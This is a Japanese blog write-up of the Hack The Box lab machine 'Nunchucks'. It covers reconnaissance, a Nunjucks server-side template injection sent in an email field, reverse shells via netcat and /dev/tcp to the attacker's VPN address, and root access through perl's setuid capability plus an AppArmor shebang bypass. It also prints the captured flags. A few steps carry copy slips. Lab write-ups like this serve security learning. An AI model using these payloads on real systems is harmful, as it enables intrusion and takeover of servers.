Hack The BoxのWriteup(Nunchucks)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Nunchucks」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査(1回目)
  (4) Webサイトの動作確認
  (5) Webアクセスできるサブドメイン調査
  (6) 名前解決のためのhostsファイル更新(2回目)
  (7) Webアクセスできるファイル/ディレクトリ調査(2回目)
  (8) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
  (9) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル
  (10) 特権昇格のための調査(SUIDなど)
  (11) linpeas.shを用いた脆弱性調査
  (12) 特権昇格(CAP_SETUIDの設定の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.122
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:28 JST
Nmap scan report for 10.10.11.122
Host is up (0.38s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   203.71 ms 10.10.16.1
2   410.62 ms 10.10.11.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.27 seconds


名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.122/」にアクセスすると、「https://nunchucks.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.122 nunchucks.htb」が出力されることを確認する。


(3) ブラウザを用いて「https://nunchucks.htb/」にアクセスすると、信頼されていないSSL証明書を使用している旨の画面が表示される。その後、「Advanced…」をクリックする。


(4) 「Accept the Risk and Continue」をクリックする。


(5) Webページが表示されることを確認する。


Webアクセスできるファイル/ディレクトリ調査(1回目)


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u https://nunchucks.htb/ -d 2 -C 400,403,404,405,500 -k
ーーー(省略)ーーー
200      GET      187l      683w     9488c https://nunchucks.htb/signup
200      GET       32l      178w    14726c https://nunchucks.htb/assets/images/testimonial-3.jpg
200      GET       23l      223w    16239c https://nunchucks.htb/assets/images/testimonial-1.jpg
200      GET       12l       78w     4155c https://nunchucks.htb/assets/images/customer-logo-1.png
200      GET       29l      175w    13737c https://nunchucks.htb/assets/images/testimonial-5.jpg
200      GET       22l      149w    12481c https://nunchucks.htb/assets/images/testimonial-6.jpg
200      GET       29l      164w    13338c https://nunchucks.htb/assets/images/testimonial-2.jpg
200      GET       44l      411w     5958c https://nunchucks.htb/assets/js/jquery.easing.min.js
200      GET       37l      159w    12917c https://nunchucks.htb/assets/images/testimonial-4.jpg
200      GET       60l      407w    25133c https://nunchucks.htb/assets/images/details-1.png
200      GET       15l       33w      530c https://nunchucks.htb/assets/js/login.js
200      GET      183l      662w     9172c https://nunchucks.htb/login
301      GET       10l       16w      179c https://nunchucks.htb/assets => https://nunchucks.htb/assets/
200      GET     1620l     3174w    29776c https://nunchucks.htb/assets/css/styles.css
200      GET       59l      430w    27406c https://nunchucks.htb/assets/images/details-3.png
200      GET      245l     1737w    17753c https://nunchucks.htb/terms
200      GET      250l     1863w    19134c https://nunchucks.htb/privacy
ーーー(省略)ーーー




(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u https://nunchucks.htb/
ーーー(省略)ーーー
[18:53:30] Starting:
[18:54:10] 301 -  179B  - /assets  ->  /assets/
[18:54:41] 200 -    9KB - /login
[18:54:42] 200 -    9KB - /login/
[18:54:57] 200 -   19KB - /privacy
[18:55:05] 200 -    9KB - /signup
[18:55:11] 200 -   17KB - /terms

Task Completed




(3) ffufを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://nunchucks.htb/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 217ms]
login                   [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 216ms]
privacy                 [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 240ms]
terms                   [Status: 200, Size: 17753, Words: 5558, Lines: 246, Duration: 223ms]
signup                  [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 220ms]
assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 220ms]
Privacy                 [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 219ms]
Login                   [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 213ms]
Terms                   [Status: 200, Size: 17753, Words: 5558, Lines: 246, Duration: 214ms]
Assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 225ms]
Signup                  [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 213ms]
SignUp                  [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 207ms]
signUp                  [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 214ms]
PRIVACY                 [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 236ms]
                        [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 212ms]
LogIn                   [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 419ms]
LOGIN                   [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 224ms]
ーーー(省略)ーーー




Webサイトの動作確認


(1) ブラウザを用いて「https://nunchucks.htb/」にアクセスして、「Start selling」をクリックする。


(2) 任意のアカウント情報を入力して、「Sign Up」をクリックする。


(3) 現在はアカウント登録は閉鎖されている旨のメッセージが表示されるため、使用できないWebページであると思われる。


Webアクセスできるサブドメイン調査


(1) ffufを用いてアクセスできるnunchucks.htbのサブドメインを調査すると、store.nunchucks.htbというサブドメインがあることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.nunchucks.htb" -u https://nunchucks.htb -fs 30589 -k
ーーー(省略)ーーー
store                   [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 461ms]
:: Progress: [100000/100000] :: Job [1/1] :: 165 req/sec :: Duration: [0:09:36] :: Errors: 0 ::
ーーー(省略)ーーー




名前解決のためのhostsファイル更新(2回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.122 store.nunchucks.htb」が出力されることを確認する。


(2) ブラウザを用いて「https://store.nunchucks.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査(2回目)


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u https://store.nunchucks.htb/ -d 2 -C 400,403,404,405,500 -k
ーーー(省略)ーーー
200      GET       20l       82w     6403c https://store.nunchucks.htb/assets/images/flags/GB.png
200      GET        7l       15w      245c https://store.nunchucks.htb/assets/css/fonts.css
200      GET       14l       30w      424c https://store.nunchucks.htb/assets/js/main.js
200      GET       16l       82w     6002c https://store.nunchucks.htb/assets/images/flags/US.png
301      GET       10l       16w      179c https://store.nunchucks.htb/assets => https://store.nunchucks.htb/assets/
200      GET     1566l     2676w    25180c https://store.nunchucks.htb/assets/css/font-awesome.css
200      GET      936l     2376w    25601c https://store.nunchucks.htb/assets/css/nunchucks.css
200      GET        9l      335w    27749c https://store.nunchucks.htb/assets/js/bootstrap.min.js
200      GET     7098l    14189w   126432c https://store.nunchucks.htb/assets/css/bootstrap.css
200      GET     9789l    41511w   273198c https://store.nunchucks.htb/assets/js/jquery-1.10.2.js
301      GET       10l       16w      187c https://store.nunchucks.htb/assets/css => https://store.nunchucks.htb/assets/css/
301      GET       10l       16w      193c https://store.nunchucks.htb/assets/images => https://store.nunchucks.htb/assets/images/
301      GET       10l       16w      185c https://store.nunchucks.htb/assets/js => https://store.nunchucks.htb/assets/js/
200      GET     1474l     8928w   603298c https://store.nunchucks.htb/assets/images/default.jpg
200      GET      356l     1823w   645104c https://store.nunchucks.htb/assets/images/favicon.ico
200      GET      101l      259w     4029c https://store.nunchucks.htb/
ーーー(省略)ーーー




(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u https://store.nunchucks.htb/
ーーー(省略)ーーー
[23:07:31] Starting:
[23:08:16] 301 -  179B  - /assets  ->  /assets/

Task Completed




(3) ffufを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://store.nunchucks.htb/FUZZ" -ic -fs 45
ーーー(省略)ーーー
                        [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 356ms]
assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 218ms]
Assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 216ms]
                        [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 225ms]
:: Progress: [220546/220546] :: Job [1/1] :: 155 req/sec :: Duration: [0:24:06] :: Errors: 0 ::
ーーー(省略)ーーー




サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行


(1) HackTricks(https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html)の内容を確認すると、{{7*7}}などでサーバーサイド・テンプレート・インジェクション(SSTI)攻撃の成功有無を確認できることが分かる。

(2) ブラウザを用いて「https://store.nunchucks.htb/」にアクセスして、任意のメールアドレスを入力する。


(3) Burp Suiteでメールアドレス送信時のリクエストデータを確認する。

【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 36
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{"email":"zeri@store.nunchucks.htb"}




(4) Request欄の右クリックで選択し、「Send to Repeater」をクリックする。


(5) Burp Suiteの上部の「Repeater」タブをクリックする。


(6) POSTメソッドのemailパラメータに「{{7*7}}」を追記して、「Send」をクリックする。その後、Response欄の値を確認すると、「49(=7*7の計算結果)」が表示されているためSSTI攻撃ができることが分かる。

【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 36
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{"email":"zeri@store.nunchucks.htb{{7*7}}"}




サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル


(1) feroxbusterの結果などで.jsファイルを使用しているため、Node.jsを用いてWebサイトを構築していると推測できる。そのため、HackTricks(https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html)でNode.jsのサーバーサイド・テンプレート・インジェクション(SSTI)攻撃の文字列を調べる。

【HackTricksに記載されているNUNJUCKS (NodeJS)のSSTI攻撃のペイロード】
{
  {
    range.constructor(
      "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
    )()
  }
}




(2) Kali Linux側で1234/tcpで待ち受ける。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.16.10」


$ nc -lvnp 1234
listening on [any] 1234 ...


(3) POSTメソッドのemailパラメータに追記して、「Send」をクリックする。

【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 57
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{"email":"zeri@store.nunchucks.htb{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f')\")()}}"}




(4) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.122] 42840
sh: 0: can't access tty; job control turned off
$


(5) 現在ログインしているユーザー情報を確認すると、davidユーザーであることが分かる。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ id
uid=1000(david) gid=1000(david) groups=1000(david)


$ whoami
david


(6) 完全なシェルを奪取する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ which python3
/usr/bin/python3

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

[Ctrl]+[Z]でバックグラウンドに移す

$ stty raw -echo;fg

$ bash

$ export TERM=xterm


(7) 一般ユーザー用のフラグファイルの内容を確認する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ cat /home/david/user.txt
8826a220798bef85954091e266d60d26


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ sudo -l
  →パスワードが分からないため確認できない。


(2) SUIDファイルを検索する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/fusermountr/www/store.nunchucks$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd


(3) .bash_historyファイルを確認すると、何も出力されない。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ cat /home/david/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
80 open
443 open
3306 open
8000 open
8001 open
33060 open
46054 open


(5) OSの情報を確認すると、「Ubuntu 20.04.3 LTS」であることが分かる。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ uname -a
Linux nunchucks 5.4.0-86-generic #97-Ubuntu SMP Fri Sep 17 19:19:40 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.3 LTS
Release:        20.04
Codename:       focal


(6) 8000/tcpと8001/tcpにアクセスしてレスポンスデータを確認するが、特に気になる情報はない。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ curl http://localhost:8000
  →「https://nunchucks.htb/」にアクセス時のWebページのHTMLが表示される。


$ curl http://localhost:8001
  →「https://store.nunchucks.htb/」にアクセス時のWebページのHTMLが表示される。


linpeas.shを用いた脆弱性調査


(1) linpeas.shを用いてサーバの脆弱性を調査するため、一旦Kali Linux側にlinpeas.shファイルを格納する。

※Kali Linux上で以下のコマンドを実行する。

linpeas.shがダウンロードする。
$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -p ~/

linpeas.shを現在のディレクトリにコピーする。
$ cp ./github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh ./

攻撃対象マシン(BoardLight)からKali LinuxにアクセスするためIPアドレスを確認する。
$ ip a
  →kali LinuxのVPN用インターフェースのIPアドレスが「10.10.16.10」であることを確認。

Webサーバとして起動する。
$ python3 -m http.server 8081


(2) davidユーザーでログインしたプロンプトにてlinpeas.shを実行権限を付与する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ cd /tmp


$ wget http://10.10.16.10:8081/linpeas.sh
  →「linpeas.sh」がダウンロードされる。


$ ls
  →「linpeas.sh」ファイルがあることを確認する


$ chmod +x linpeas.sh


(3) linpeas.shを実行する。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ ./linpeas.sh > output.txt
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . uniq: write error: Broken pipe
uniq: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
grep: Invalid content of \{\}
ーーー(省略)ーーー


(4) linpeas.shの実行結果を確認すると、「/usr/bin/perl = cap_setuid+ep」があるためperlにLinux CAP_SETUID機能が設定されていることが分かる。

※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。

$ cat output.txt
ーーー(省略)ーーー
Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
ーーー(省略)ーーー




特権昇格(CAP_SETUIDの設定の脆弱性)


(1) linpeas.shでも確認したが、再度Linuxのケーパビリティ(capability)の値を確認する。

$ getcap -r / 2> /dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep


(2) ブラウザを用いてGTFOBins(https://gtfobins.github.io/)にアクセスする。


(3) GTFOBins上で「perl」を検索し「Capabilities」をクリックする。


(4) 「perl」の「Capabilities」を用いた特権昇格のコマンドを確認する。


(5) GTFOBinsに記載されているペイロードを実行するが、何も変わらない。

$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'


(6) whoamiコマンドを実行するように変更して実行すると、rootユーザーであることが分かる。

$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root


(7) /root/配下のファイルを確認しようとすると、権限がない旨のメッセージが表示され実行できない。

$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /root/";'
ls: cannot open directory '/root/': Permission denied


(8) /etc/apparmor.d/usr.bin.perlの内容を確認すると、AppArmorにて/root/などの文字列が制限されていることが分かる。また、/opt/backup.plというファイルは許可されていることが分かる。

※AppArmorとは、実行されるプログラムごとにファイルアクセスやシステムコールなどの権限を「プロファイル」によって制限するセキュリティ機能。

$ ls /etc/apparmor.d/usr.bin.perl
/etc/apparmor.d/usr.bin.perl
david@nunchucks:/tmp$ cat /etc/apparmor.d/usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}


(9) /opt/backup.plの権限を確認するが、一般ユーザーに書き込み権限がないため編集できないことが分かる。

$ ls -l /etc/apparmor.d/usr.bin.perl
-rw-r--r-- 1 root root 442 Sep 26  2021 /etc/apparmor.d/usr.bin.perl


(10) /etc/apparmor.d/usr.bin.perlの内容を確認するが、特にユーザーが入力する処理がないため悪用できないことが分かる。

$ cat /opt/backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";


(11) 「AppArmor Perl bugs」でGoogle検索すると、
https://bugs.launchpad.net/apparmor/+bug/1911431」にスクリプトファイルに「#!/usr/bin/perl」を記載して実行権限を付与したファイルを実行することでAppArmorを回避できることが分かる。


(12) GTFOBins上に記載されているペイロードを参考にして、特権昇格をするスクリプトファイルを作成する。

$ vi privilege.pl

【privilege.plの内容】
#!//usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
system("/bin/bash -p");




(13) スクリプトファイルに実行権限を付与して実行すると、root権限のプロンプトが表示されることが分かる。また、参考までに、「./privilege.pl」ではなく、「perl privilege.pl」で実行するとAppArmorで制限されてしまい実行できない。

$ chmod +x privilege.pl


$ ./privilege.pl
  →root権限のプロンプト(#)が表示される。


(14) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=0(root) gid=1000(david) groups=1000(david)
root@nunchucks:/tmp# whoami
root


(15) 特権ユーザー用のフラグファイルの内容を確認する。

# cat /root/root.txt
44b43491f95479807db00fb37a175cb5


関連記事(Hack The Box)

※後日作成予定。